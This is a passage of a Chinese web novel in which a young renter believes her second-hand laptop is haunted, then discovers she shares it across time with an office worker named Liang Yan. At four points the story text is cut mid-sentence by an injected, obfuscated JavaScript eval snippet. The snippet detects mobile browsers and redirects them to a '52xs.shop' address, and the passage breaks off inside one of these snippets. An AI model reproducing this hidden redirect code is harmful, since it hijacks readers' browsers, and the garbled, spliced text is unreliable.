似乎电脑上那些冰冷的代码和数据比这种场合更有意思，这个家伙居然跑回来加班了。 他希望带动这个好兄弟找点生活的乐子。 想到这，刘志辉弯腰抵着桌沿，冲梁彦挤眉弄眼：“今晚贺明也说了，他那个姓林的女性朋友对你有兴趣，听说人家是大企业老总的千金！你不捉住找个机会跟人家深入了解一下，说不定就脱单了，从此走向人生巅峰。” 越说越兴奋，刘志辉直接上手拽他的胳膊，“走走走，我们还有下一场呢！咱们贺总特地在零度酒吧预订了两个豪华大卡座。” 梁彦听得头疼，抽回胳膊婉拒：“我没兴趣，你们玩吧。” 刘志辉的手落了空，一脸诧异：“不是吧？美色都诱惑不了你？虽然把重心放在事业上是好事，但是也要注重一下自己的感情生活不是？你一不社交，二不多认识一些异性，是在等一场入室抢劫式的爱情吗请问？” 梁彦不想废话，目光落在他手中的车钥匙，眉头微拧，提醒道：“记得找代驾。” 今晚聚餐的地方就在公司附近，大家都是步行过去的。现在一行人要到贺明订的那家酒吧，自然少不了开车，而刘志辉这会儿是专门回公司拿车钥匙的。 见撬不动这块大石头，刘志辉悻悻摆手说了句“知道了”，随后在一阵手机铃声的催促下，匆匆离开了。 办公室回到原有的静谧。 梁彦的注意力回到面前的电脑。 余光无意间一瞥，眸光不由得顿住。 只见原本那台被他推到一旁的、莫名黑屏的旧笔记本电脑，不知何时又自行亮起屏幕。 …… 另一时空。 程安宁在没有得到回应后，想要起身夺门而逃，奈何双腿发软不争气，索性只能坐在原位，胆战心惊地合上笔记本电脑。 随后，她双手合十，环顾着屋子颤声念叨：“大哥大姐，我只是刚搬进来的租户，我不知道这屋子还有原住民在，有怪莫怪啊！你们等着啊，我这就打电话让无良中介给我们一个说法！” 陪她看这个房子的中介是一个态度热情、年龄比她大四岁的大哥。当时在她的软磨硬泡下，那位中介大哥松口减了五百块租金，她还觉得遇到大好人了，一口气交了押金和半年房租，压根没想过房子会有什么问题。 毕竟在她看来，租到凶宅的概率就跟中彩票的概率一样。 程安宁很快拿起手机拨通了一串号码，对着面前的空气上演一场对质：“蔡哥，你太不厚道了，闹鬼的凶……” 说到这，她意识到了什么，立刻停顿了一下，眼珠子忐忑地转了一圈。随后生怕刚才的形容会激怒屋里的阿飘，又谨慎改口：“有人住的房子怎么可以对外出租？你这不是妥妥的欺诈吗？我要退租！” “哈？”手机那端传来中介大哥困惑的声音，除此之外还能听到喧闹的说笑声，对方似乎正在外边进行丰富的夜生活。 对于突然的控诉，他有点发懵：“不是，你搞错了吧？你谁啊？？” 大晚上还能听到活人的声音，程安宁稍稍安心了一些，沉住气道：“我是住在福乐街前电厂宿舍楼的小程，上周你陪我看了三套房子，记得吗？” “啊，是你啊。”中介大哥被唤醒记忆，反问：“你那房子不好好的吗？我蔡实中介一向实在靠谱，口碑和名声没有任何污点，干不来缺德事儿，你是不是让人忽悠了？我有不少同行眼红我，想方设法搞我来着！” “不是。是我租的这个房子……”程安宁边说边看向四周，像是有人在旁边偷听似的，用极小的气音道：“有东西。就是……不干净的意思，你懂吧。” 蔡实没听清：“你说什么？你租的这个房子怎么了？” 程安宁声音细小如蚊，重复：“不干净。” 蔡实不耐地啧了一声，“啥？我没听清，你能不能大点声？” 程安宁嘴角抽了抽，清嗓大喊：“不！干！净！” 话落，手机那端突然安静下来。 在这短暂的沉默中，程安宁隐约感受到了对方的无语。 果然，下一刻，蔡实笑了一声，用一种无语到极致，懒得跟奇葩一般见识的语气道：“不干净你就多打扫几遍卫生呗。房子不打扫卫生哪能行啊？你是租房子，不是住酒店，卫生问题你要自己搞定。” 程安宁气笑，但反应过来，怕刚才的话冒犯到屋里的“原住民”，先急着对空气解释：“大哥大姐，我没有说你们不干净的意思！只是我现在脑力有限，一时想不出别的形容，你们要是不介意的话，我可不可以跟人家说得直白一点？不然人家以为我没事找事。” “你们要是不同意的话，就让屋里的灯闪一下，这样我就懂了。” 话落，她紧盯着天花板上的圆形顶灯。 手机那边的蔡实一头雾水，“不是，你叽里咕噜的，是在跟我说话吗？” 与此同时，程安宁见顶灯没有任何动静，这才开门见山问：“蔡哥，有人在我住的这个房子出过事成了凶宅对吧？” 闻言，蔡实像被踩了尾巴的猫，当即就炸了：“不可能！那边的房源我最清楚了，根本没有凶宅！而且一般出过事的，我都会特别说明，没说的就没事儿。你不信自己上网查查，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420509|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我真隐瞒了什么，我赔你三倍房租！” 见他不像说谎的样子，程安宁索性把上周在屋门后捡到一张红色符纸，以及最近遇到奇怪现象跟他说了一遍。 蔡实把她这段离奇经历听进去了，无奈失笑：“什么红色符纸？可能就是一张纸而已，你想多了，不可能有鬼的，现在二十一世纪，哪有那么多邪乎的事情。” “再说了，除了电脑的问题之外，其它方面都好好的，那就肯定不是房子的问题！” “电脑本身没问题的话，却还是出这种奇怪的现象，你直接把它扔了不就行了？” 程安宁嘶了一声，思考这个办法的可行性。 扔掉的话，搞不好触怒了它，回家就看到东西重新出现在桌上，鬼片不都是这样演的吗？ 而且红色符纸那个事情，她很确信不是一张普通的纸，因为它不论从形状还是上面的图案，就是一张符纸的样子，她还是觉得有猫腻！ 愣神间，蔡实又道：“就算是出现奇怪的现象，也不能证明是闹鬼啊，顶多是电脑程序什么的出现了更复杂的问题，超出了人家维修师傅的能力范围而已。” 越说越觉得十分合理，蔡实觉得事情解决了：“好了，时间不早了，洗洗睡吧，别提什么鬼不鬼的了，平时少看点鬼片吧。” 话落，程安宁听到手机那端传来劝酒的声音，通话也就此挂断。 耳边恢复宁静，程安宁放下手机，情绪也渐渐冷静下来，目光重新回到桌上的笔记本电脑。 她平时是喜欢看鬼片，但是不觉得这个世界上有鬼，也从未把鬼片电影里的世界跟现实联系在一起过。 今天经叶思蕾那么一说，再加上怪事又发生了，她的无鬼观念忍不住动摇。 万一……真的有呢？！ 虽然蔡实一再保证房子没问题，但是入住那天，她在屋门后捡到的那张红色符纸真的很可疑啊！ 思索片刻，程安宁试着再次打开面前的笔记本电脑。 因为没有关机，电脑一展开，屏幕自动亮起。 盯了一会儿，见笔记本电脑恢复正常没再作妖，程安宁想到蔡实说的话，索性打开搜索引擎，输入自己所住的地方的关键词，搜索这附近有没有发生过什么离奇事件。 其实她是愿意相信蔡实说的没有欺诈，只是万一有些事情，蔡实也不知情呢？ 网络这种东西，只要你愿意花费精力深挖，有时候还真能挖出一些小道消息。 以前她对有鬼论嗤之以鼻，现在的她逐步分析。 程安宁在一个本地休闲论坛里看到一桩坠楼事件，是一条三年前的帖子。 帖子的内容说，这栋前电厂宿舍楼有一位租客在走廊上的阳台晾衣服的时候，护栏突然断裂，人直接从四楼摔下去。 除此之外，底下还附有当时的现场配图。 程安宁眼皮一跳。 嘶，她就住在四楼！ 该不会……那位坠楼的租客生前就住在她这个屋吧？ 正小心翼翼地滑动网页往下查看图片，眼前的网页冷不防关闭，回到原来的桌面。 下一刻，一道尖锐的爆鸣声划破沉寂的夜。 - 另一时空，梁彦亲眼看着电脑自行打开搜索引擎，并且自行输入一串地址进行搜索，然后滑动页面时不时点开一些结果页。 最终，电脑的界面停留在一个论坛的帖子时，他看了内容，不禁后脖子发凉，果断关闭网页。 怎么感觉……像是有人在使用这台笔记本电脑一样？ 5. 05 - 程安宁抱着被子缩在床上的角落一夜没睡。 昨晚在受到惊吓后，她直接从椅子上跳起来，跑到床上躲着了。 为什么不直接跑出这间屋子呢？ 好问题，因为门外过道的灯是老式灯泡，微暗橘光照亮下的走廊，更像是鬼片里的场景。楼梯间的灯就更不用说了，她都怕自己跑着跑着踩空了，要是一摔升天还好，要是给自己摔成残废了，下半辈子不知道找谁哭。 虽然当初她搬到这里就考虑到这些弊端，但是想着自己大晚上又不出门，没什么影响。只是谁能想到自己有一天会因为遇到闹鬼事件需要在深夜出门的。 天一亮，程安宁果断溜出家门。 刺眼的晨光洒落，程安宁一接触到光线，眼睛几乎睁不开，这会儿更是哈欠连连，打得眼泪直冒。 她愣是撑了一夜没睡，一直紧张地盯着桌上的笔记本电脑看，最后还看到笔记本电脑屏幕自行关机了，除此之外屋里倒没有其它异常。 在她看来，电脑恰巧在她浏览那个坠楼帖子的时候关闭网页，绝对是那个不慎坠楼的租客的鬼魂在作祟。 一定是看到她查到生前的事故，人家不乐意了。 看吧，她就说房子闹鬼吧！偏偏蔡实不信。 不过没关系，她已经把昨晚在网上搜到的帖子，以及电脑自动关闭了浏览的网页和关机的事情，全都发给蔡实了，蔡实只要打开微信就会看到她的“轰炸”。 独自晃到街边，心里的恐惧因为明亮的白天而散去了不少，程安宁顶着一副萎靡不振的样子进了早餐店。 随便吃了根油条和一杯豆浆，最后离开的时候闹了笑话，被早餐店老板逮住说还没付早餐钱。 程安宁尴尬得要命，连忙扫码付款外加道歉，最后在其他人微妙的注视下仓皇逃离。 通宵没睡觉还出门，确实容易犯迷糊，这要是在工作上出错……嘶…… 想到今天还是第一天上班，程安宁倒吸一口凉气，保险起见，还是发短信以身体不适请了一天假。 路过一家刚开卷闸门的纸扎店，她停下脚步，犹豫片刻，转身进店。 再次出来时，手里提着一袋香烛和纸钱。 虽然她是从屋里跑出来了，但是不可能不回去面对。为了她今后搬出那个屋子后，对方别再缠上她，给人家烧香烧纸钱啥的，应该会拿人手短吧？希望“原住民”是个有鬼德的鬼。 在外面晃悠得差不多了，程安宁慢吞吞往回走。 路上，她的手机响了，是蔡实打来的电话，问她在哪里，说就在她家门口敲门。 程安宁打起精神，火速赶回去跟他汇合。 一口气爬上四楼，程安宁看到蔡实就站在不远处的走廊过道上玩手机。 蔡实听到动静，转头看到她了，立刻收起手机走向她：“小程，你给我发的那些消息，我都看了，那件事情……” 刚走到跟前，蔡实瞥见她手里提着的袋子里有一把供香，神色一怔，嘴边的话绕了个弯：“你买这些东西干什么？” 程安宁一脸幽怨，露出一个比哭还难看的笑：“烧给我屋里的原住民，让它消停点。” 说到这，她赶忙提起正事：“对了，你说你看到我发给你的消息了，这下你同意我退租的诉求了吧？” 闻言，蔡实扑哧一声笑出来：“我说你别自己吓自己了，根本就没有那玩意儿！我上午过来就是为了跟你当面说清楚。” 他适时止住话，谨慎地看了眼四周，压低声音道：“可以进屋聊聊吗？外边不方便说什么鬼不鬼的，万一被其他租户听到了，还真以为这一片出过事儿。” 见他还在嘴硬，程安宁不满皱眉，但也懒得争论，索性先把他请进屋，看看能不能让他目睹怪异现象。 进到屋里，蔡实自行脱鞋，去到沙发坐下，开口直入主题：“你昨晚给我发的那些消息，我特地去求证了，当年那个坠楼的租客还活得好好的。” 程安宁刚拉开窗帘让外面的阳光照进来，一听这话，猛地转头看他，一脸难以置信。 还没开口，蔡实拿出手机，手指极快地在屏幕上划来划去，然后递上前：“而且那个帖子你是不是没有看完整啊？我按照你说的去找了原贴，人家是坠楼没错，但是那会儿掉到二楼，有一张厚棉被作为缓冲，最后掉到空地上，人没危险，那篇帖子只是家属在控诉宿舍楼年久失修，提醒大家注意。” 程安宁接过手机，看到了昨晚在电脑上还没看完的原贴，这才发现配图下面还有后续内容。 就如蔡实说的那样，坠楼的那位租客骨折住院，没有生命危险。而昨晚没有看全的那张配图，是人家好端端坐在地上等待被抬上担架的场景。 可是，昨晚她帖子看到一半就被恰巧关闭网页，还有门后捡到的红色符纸怎么解释？ 程安宁皱眉加深，发出疑问：“那我门后的那张红色符纸……” 蔡实摊手：“上一任租客是外地人，我早上打电话问了，他说贴的那张红符纸是他们老家的习俗，保平安用的。” “你要是不信的话，我可以给你联系方式，你自己问问。” 程安宁抿嘴，把手机递回去：“那倒不用。” 蔡实收回手机，“归根结底就是你那台电脑的问题，跟这间屋子以及整栋宿舍楼都没关系，你就安心住着吧。” 紧绷了一晚的神经在此刻放松下来，程安宁点头轻嗯一声，情绪没有太大的起伏。 蔡实见状疑惑：“证明了不是闹鬼挺好的吗？你怎么看上去还挺失落的样子？” 程安宁摆手表示没事，垂眸沉思，心里隐隐涌动的那股兴奋淡去了。 果然，人死了就不可能再见到了。 她还以为这次的离奇经历可以佐证这世上有鬼的事实，这样的话，不管付出什么代价，她都要见到自己想见的人。 解决了这次的乌龙事件，蔡实没有多待，挥挥手走了。 忍了一晚没睡，程安宁困意上来了。 像是瞬间失去了所有力气，她倒头躺到沙发上，慢慢蜷缩起身子，像是一只躺在角落等死的小兽，孤零零的，安静地闭上双眼。 不知过了多久，耳边传来劈里啪啦的声音，像是有人在敲键盘。 程安宁惺忪睁眼，看到原本有阳光的屋子不知何时变得昏暗，一团人形黑雾坐在放置笔记本电脑的桌子前，整体形状有点像一只姜饼人？ 睡意散去的同时，一股寒意直冲天灵盖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420510|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌子与沙发的距离不到两米，姜饼……哦不，那团黑雾离她不远不近，桌上原本应该关机的笔记本电脑在此刻是亮着屏幕的，她甚至能够看到它双手形状的黑烟落在键盘上游走，像是在忙碌什么。 而她在这一刻好像失去了对身体的掌控，完全动弹不得，只能瞪大眼珠子看着那团黑雾坐在那里，以及听着自己加速到吵耳的心跳声。 等等，她这是见鬼了？？ 就在她强迫自己冷静下来，试着活动没有知觉的四肢时，那团人形黑雾像是察觉到她的意识清醒，蓦然转过头来。 程安宁瞳孔一缩，但很快松了口气。 那团人形黑雾虽然有着像姜饼人圆圆的头，但没有人脸应有的模样，依旧是空洞的黑，看不清具体，倒是不吓人。 刚松了口气，那团黑雾突然站起身，极快地朝她的方向冲了过来。 程安宁神色惊惧，不知道哪来的力气，蹭地一下从沙发坐起身。 她瞬间拿回了身体的掌控权，大口喘气，而原本要贴面开大的黑雾不知何时已经不见踪影，屋里也不再昏暗阴森，回到应有的亮堂，桌上的笔记本电脑也依然是关机的状态。 程安宁呆坐在沙发上缓了一会儿，这才明白刚才是在做梦，心里的恐惧早在睁眼抽离那个梦境后已经淡去。 手机显示下午三点，原来她已经睡了这么久了。 不过那个噩梦，是她太累了，导致日有所思夜有所梦？还是……存在什么特别的含义和暗示？ 程安宁的目光停留在不远处的笔记本电脑上，神色若有所思。 现在是确定她住的这个房子不是凶宅也没有闹鬼了，可是电脑无故自行运作的情况还没有一个明确的解释。 就像蔡实说的，归根结底是电脑的问题。如果联系上她刚才那个跟笔记本电脑有关的噩梦，她是不是可以看作是……电脑本身“不干净”，有阿飘附身在上面？ 想到这，程安宁随即起身在屋内翻翻找找，最后找到数码店老板的名片，按照上面的号码拨了过去。 电话很快接通：“你好，这里是神奇数码店。” 程安宁听出了是那位老板的声音，很快自我介绍说是前两天在他店里中过奖，领了一台二手笔记本电脑的那个人。 如此简明扼要的介绍，老板自然一下子就知道她是谁了。 程安宁也随即抛出疑问：那台笔记本电脑是从哪里收来的，原先的一手主人有没有联系方式。 这些问题挺莫名其妙的，老板疑惑了一瞬，如实回答：“这个我没办法回答你。你中奖的那台笔记本电脑，是我从我们清城本地最大的电子城里其中一家小店那里收的。” “那边的二手电器几乎是经过多方渠道转手，没办法找到源头的。” 也就是说，想要找到这台笔记本电脑真正意义上的一手主人，是件不可能完成的事情。 程安宁神色悻悻：“好，我知道了，不好意思打扰了。” 本来心血来潮，想着打探一下这台笔记本电脑原先的主人是否健在。如果不在人世的话，那早上的无鬼论又要被推翻了。 要是真有阿飘附身在电脑上的话，按照电脑前几次出现的怪异现象，她合理怀疑对方生前是一个工作狂。 6. 06 从早上睡到下午，醒来肚子难免空空，程安宁恢复了精神，暂时把脑洞大开的猜测，和噩梦这个插曲抛到脑后，起身找吃的。 门后还有快递没拆，她挑了一个箱子拆开，里面是六盒速食冻干粥，同样是她在网上参加抽奖抽中的。 程安宁煮了热水，随便拆了一盒速食粥泡开，就这样简单快速地解决了一餐。 想到最近还没给奶奶和外婆打个电话问候一声，程安宁先是给奶奶打去电话。 电话接通后，因为老人家年纪大了，视力和听力都不大好，程安宁在自报家门上重复了好几遍，老太太这才恍然大悟：“哦，是我们宁宁啊，我这两天正好在念叨你怎么没给我打电话呢，还说你是不是忘了我这副老骨头。” 程安宁笑：“怎么会呢？我这么爱我的奶奶，就算把所有人忘了都不能把您给忘了。” 老太太被这么一哄，乐呵呵笑开了，随后问起她的近况、关心她的钱够不够花，以及问她有没有照顾好自己，有没有好好吃饭。 站在三十平小屋里，程安宁信口拈来：“我最近挺好的，工作稳定，待遇方面也不错，公司给我租了一间大房子，客厅大得能跑步锻炼了，我还养了小猫小狗呢。” 说着，她看了一眼脚边垃圾桶里的速食粥包装，上面写着排骨蔬菜粥，“问我中午吃什么吗？我今天没什么胃口，就随便吃了大排骨和菜外加两份大米饭，我们公司食堂天天三荤一素的，我都怕自己吃成猪了。” “至于晚餐，我跟同事约好了晚上去吃海鲜大餐。” 她计划今晚吃海鲜味的泡面，四舍五入也算是吃上海鲜了。 之所以撒谎，是想让老人家少为她操心。至于谎言会不会被戳穿，她压根不担心，因为清城很大，即便在同一座城市，想要碰面的话，还要坐上一个多小时的车程。 老人家年纪大了，禁不起折腾，也不想麻烦她分心照料，所以不可能过来探访她所说的是真是假。 而其他亲戚，她早就凭一己之力全都闹掰了，还是闹得很僵，相互不想看到对方的那种，更加不可能跑来找她。 听她过得充实自在，老太太听得很是高兴，同时也放心不少，随后跟她讲起这段时间在周边听来的各种八卦。 程安宁听得认真，爱屋及乌地跟老太太和一同蛐蛐讨厌的老头老太，把情绪价值拉满。 最后她嘱咐老人家注意身体，说有空就回去看她。 老太太提醒她别忘了也给她外婆打电话问候一声。 两位亲家关系不错，再加上都是早年丧夫，以前见上面总是有很多共同语言，偶尔还会互相惦记。 程安宁点头轻嗯，说自己没忘。 结束这通电话后，她打开通讯录找外婆家的电话号码，瞥见手机左上角有一个未读短信的提醒。 应该是广告推销之类的垃圾短信，程安宁顺手点开正要删除，下一刻，看到短信内容，她顿住删除选项的指尖，陷入沉默。 好消息：不是广告垃圾短信。 坏消息：她失业了。 短信是她昨天面试的那家奶茶店的店长，让她不用去上班了，说是上班第一天就搞临时请假这一出，以后都不用去了。 电话里向长辈构建的光鲜亮丽的生活，瞬间被一则短信带回到现实。 程安宁只用了两秒就接受了失业的事实，然后利落地删除短信，继续给长辈打去电话。 外婆的关心问候和奶奶的差不多，程安宁以同样的说辞应付，接着便是闲聊说笑。 两通电话结束，已经过去两个小时。 说话声散去，屋内回到原有的冷清。 没有那个闲工夫抱怨和难受，程安宁打开招聘软件，重新给自己物色新工作。 对她来说，最难最痛苦的时刻早已经历过了，现在只要活着，只要身体健康，只要有瓦遮头，就没有什么好难受的。 - 对于笔记本电脑接二连三出现怪事，梁彦决定把这台电脑从公司带回家，让它就此退休。 又一天加完班下班，梁彦回到家，给笔记本电脑插上电源充电，转身就去忙别的事情。 等到他重新回到电脑前，就见原本休眠模式的电脑正在一个文档的界面，上面是一份个人简历。 确切地说，是一份制作了一半的简历。 看着上面自带的资料信息，梁彦微微扬眉，拉开椅子坐下。 同一时刻，晚上十一点。 程安宁躺在床上没睡着，索性爬起来用电脑做一份电子版简历。 虽然手机也能制作个人简历，但是以前在学校她都是习惯用电脑做简历。对她来说，电脑反倒容易上手。 为了避免这台二手笔记本电脑再次出现问题，她特地边做边保存。 好在今晚目前为止还很正常。 这次找工作，她在各个平台查了这附近的招工信息，发现除了摇奶茶之外，还有一些小型工作室和公司在招助理或者文员，她觉得去打杂也行，反正离得近，于是选择变多了。 只是，想要面试的话就需要她弄一份看上去比较正式的简历，然后打印出来带去面试。 就在她列举擅长运用各类电脑办公软件时，一直静止在屏幕上的鼠标指针在她的眼皮底下蓦然移动，在她前面敲下的其中一个单词前停下，然后亲眼看着它把coffee改成office。 程安宁：…… 靠！她刚才居然把办公软件office打成了咖啡的英文coffee！ 如果是叶思蕾在这儿，肯定又要说她经常熬夜把人给熬傻了。 等等，不对！刚才是这台电脑自行倒回去给她修改的耶！ 反应过来，程安宁倒吸一口凉气，猛地从桌前跳开。 出现了，二手电脑成精事件！ 之前还只是莫名其妙卸载她的软件、修改她的桌面壁纸，和自行编辑文档，这次居然自动帮她修改了单词！ 这单单不只是电脑程序出故障的缘故那么简单吧？？ 想起自己白天冒出来的电脑原主人生前可能是工作狂的猜测，为了证明是不是真的有鬼附在电脑上，程安宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420511|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力冷静下来，转身去找早上买的纸钱香烛。 从袋子里拿出三支线香和人家送的打火机，程安宁慌里慌张地点了香，又从袋子里掏了一沓纸钱放到桌上，试着跟电脑讲道理：“那个……冤有头债有主，我只是一个无辜人，我们有话好好说！你要是有什么冤屈，还是有什么未了的心愿，你可以说出来，要是能帮我会帮的！就像是刚刚说的，我只是一个热心善良的无辜人。” 手中的线香升起丝丝白烟，绵绵不断，像是一根剪不断的线，香料味随着烟雾在屋内扩散开来，只是电脑没再有其它动静，她也没有得到任何回应。 程安宁沉住气，仍旧试探着开口：“你时不时冒出来吓我也不是办法对不对？要不我经常给你上香和烧点纸钱怎么样？你同不同意都随便弄点动静让我知道吧。” 话落，屋内一片静谧，还是没有任何回应。 程安宁皱眉，有一瞬陷入自我怀疑。 难不成是她今天补觉没睡好，导致眼花或者是出现幻觉了？ 想到这，程安宁一手拿着燃着的线香，另一只手重新回到电脑上，把刚才的office重新改成coffee。 刚把错误单词改回去，几乎是下一刻，她的手刚离开键盘，单词又在她的眼皮底下被纠正了。 程安宁睁大双眼，浑身血液沸腾。 确定了，不是眼花，也不是幻觉！是真的！ 只是……对方拒绝跟她的沟通，但还是帮忙改了英文单词。 看来是一只有强迫症且严谨的鬼。 为了进一步证实“有鬼论”，程安宁想了想，决定试着用电脑作为媒介跟对方交流。 于是，她直接在制作电子简历的页面输入新的内容：鬼大哥？鬼大姐？你到底要我怎么做才能停止吓人？我们打开天窗说亮话不行吗？你能不能理我一下？ …… 另一边，同样静谧无声的房间内。 梁彦一开始专心观察电脑出现的古怪现象，就眼尖发现一个错误的英文单词。 作为严谨怪的他自然是上手修改，只是在他修改之后，原本还在编辑内容的电脑突然静止了。 但过了一会儿，原本被他改正的单词office又变成coffee，于是他改了第二次。 这一次，他的眼前出现了一段话，像是有人在试图跟谁交流，内容挺莫名其妙的。 通过这些天的观察，他觉得这台笔记本电脑像是除了他之外，有其他人在使用一样。今晚电脑屏幕上又突然冒出制作电子简历的界面，让他觉得自己的设想或许是对的。 愣神间，屏幕上又出现一段话：就不能和平共处吗？虽然我是个热心善良的人，但是逼急了是有脾气的，小心我找个厉害的大师把你给收了！ 这是在跟他说话吗？ 梁彦迟疑了一下，电脑屏幕上再次出现新内容：我知道你在看，别光看不出声！说话！！ 多次出现的感叹号足以看出对方耐心渐失。 犹豫之下，梁彦抬手按下回车键，在电脑上缓缓打出：？ 7.07 程安宁没想到自己软硬兼施，以及用激将法，最后还真诈出回应了。 此刻，看着自己输入那段话的下一行凭空冒出一个问号，程安宁的眼睛登时亮了起来。 这算是顺利交流上了吧？！ 她克制住激动的心情，但有点担心对方来者不善，随即拿过装着纸钱香烛的袋子，手伸到里边掏了掏，摸出两张写着符文的黄符纸，哐哐就往电脑上贴。 这是早上那会儿，纸扎店的老板娘听她提起住的房子好像不太干净，就额外送了她两张符纸说是辟邪的。 做完这些，程安宁这才继续打字输出：“当然，如果你是被困在这里，想要大师超度你的话，我也可以帮你，前提是你要告诉我要怎么样才能见到鬼，这对我来说很重要。” 与此同时，看着电脑上浮现的新内容，梁彦回复：“我不是鬼。” 见状，程安宁一脸不信。 怎么可能不是？多次出现这种奇怪的现象干扰她的生活，连维修师傅都看不出有什么问题，不是鬼还能是什么？ 等等，不是鬼的话……倒还有一种可能，那就是——黑客！ 可能吗？一台款式老旧，并且已经转手多次，还重装了系统的二手电脑有什么好值得黑客入侵的？ 想到这，程安宁保持怀疑态度，直接敲字发问：“那你是黑客？” 屏幕上很快凭空出现回复：“不是。” 程安宁冷笑，觉得对方就是鬼没错，火速打字：“不是鬼也不是黑客，却能够操控我的电脑，你觉得我信吗？别装了没意思，你就是鬼，再给我耍心眼就找大师捉你！” 嗯，一定是鬼没错！ 她希望是鬼。 下一行立刻出现回应：“除了鬼，我就不能是一个普通的活人么？” 隔着屏幕莫名能够感觉到对方的无语。 程安宁皱眉，还没回复，就见屏幕上又出现新的内容：“我最近也发现有人貌似能够远程操控我的电脑，有时候我编辑的文档被无故删除和关闭，桌面多了一些新软件，壁纸也被更换了，是你做的吧？” 程安宁愣了愣，回想前几次发生在电脑上的离奇现象，突然发现对上了。 反过来，她的软件被卸载，桌面壁纸被换，半夜浏览的网页突然被关闭，也是这个家伙做的咯？ 这么说，对方好像真的不是鬼，而是跟她一样遇到这种离奇事件的无辜人？ 可是不应该啊！电脑不可能像其它电子设备一样会出现类似串线串频的情况，而且就算电脑之间进行远程操控，也是需要一定的配合，可是发生在她身上的，明显不是这样，反而像是两人在共用一台电脑，她能看到对方的电脑使用情况，对方也能看到她的。 程安宁陷入混乱，打字问：“这到底是什么情况？我找人没看出问题，还给我重装了系统。” 对方也回了一句：“我这边也找人看过了，目前不清楚。” 程安宁叹了口气，呆坐在电脑前，原本亢奋的情绪在确认对方不是鬼之后变得低迷。 现在是确认真的没有鬼在作祟了，不过眼下面临新的问题了，得想个办法解决才行，不然她连把电脑放到二手平台上卖都不敢。 毕竟这台电脑有这样奇怪的毛病，别人花钱拿到手只会更加糟心。免费送的话，说实话不太舍得。如果能够修好，到时再考虑卖了还是自用也不迟。 思索片刻，程安宁打起精神，重新在屏幕上敲字：“你还在吗？” 刚打完字，下一行凭空出现一个字：“嗯。” 太好了，还在。 程安宁发出疑问：“你有没有什么解决办法？” 这句话似乎把人问住了，对方没再像一开始那样频繁秒回，但很快也回了一句疑问：“你使用电脑的频率高吗？” 程安宁回：“不算高，只是偶尔用来看剧听歌。” 至于查资料或者制作简历什么的，那就更偶尔了。 得到回答，屏幕上接连不断地蹦出一个个字：“目前可以确定的是我们使用电脑的情况是互相影响的。在没有彻底解决掉问题之前，我们双方可以先错开电脑的使用时间，我目前已经打算减少电脑的使用频率，不过不保证不会再用到它，所以有时候恰巧撞到你的使用时间，还请你见谅和行个方便。” 程安宁看得认真，不自觉点头，见对方是个礼貌讲理的人，爽快回复：“行，那就先这样吧。” 对方：“好的。” 双方达成共识后，谁也没再往屏幕上打字打扰对方。 电脑停留在编辑个人简历的界面，但已然变成一个聊天窗口，全是两人打字交流的内容。 程安宁把聊天内容全都删了，看着上面的姓名、性别还有联系方式这些基本信息都还空着，想到这会儿屏幕另一头还有人看着，打算先不填了。 她按下保存，目光无意间扫过右下角的日期，发现除了月份和时日之外，年份出错了，本应是2024年，却显示2019年。 奇怪，日期什么时候出错的？ 程安宁顺手修正了日期。 同一时刻，梁彦刚打出一句“我要休息了，你还有想说的么？”，眼前的屏幕突然一闪，文档界面在眼前消失，只剩下原始桌面。 OK，看样子没有。 另一边，程安宁改完日期，正打算关闭简历的文档界面，想到万一对方一会儿有什么事情找她交流却得不到回应，索性打字告知：我要休息了，先溜了。 这一次把字打出去后，程安宁等了五分钟都没有看到对方的回复。 哦，是她想多了，人家已经默认跟她结束交流了。 - 电脑的插曲暂时被抛到脑后，接下来的两天，程安宁开启在周边各处面试的模式。 先是各家便利店、咖啡店和奶茶店走一趟，过程都很顺利，可能是实在缺人的缘故，五家有三家都抛出了橄榄枝。 程安宁选了其中一家咖啡店开始试工，每天三点一线，下班回家倒头就睡，连玩手机的心情都没有。 自从前些天知道笔记本电脑上发生的怪事跟闹鬼无关后，生活回到了以往的平静，她就大大降低了打开那台电脑的欲望，一方面是不想跟人家撞上使用电脑的时间，另一方面是觉得没有隐私可言，觉得自己用电脑在做什么人家都看得一清二楚。 不过，再怎么不想打开电脑，也难免会有需要用到的时候。 这天，程安宁打卡下班，就被老板临时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 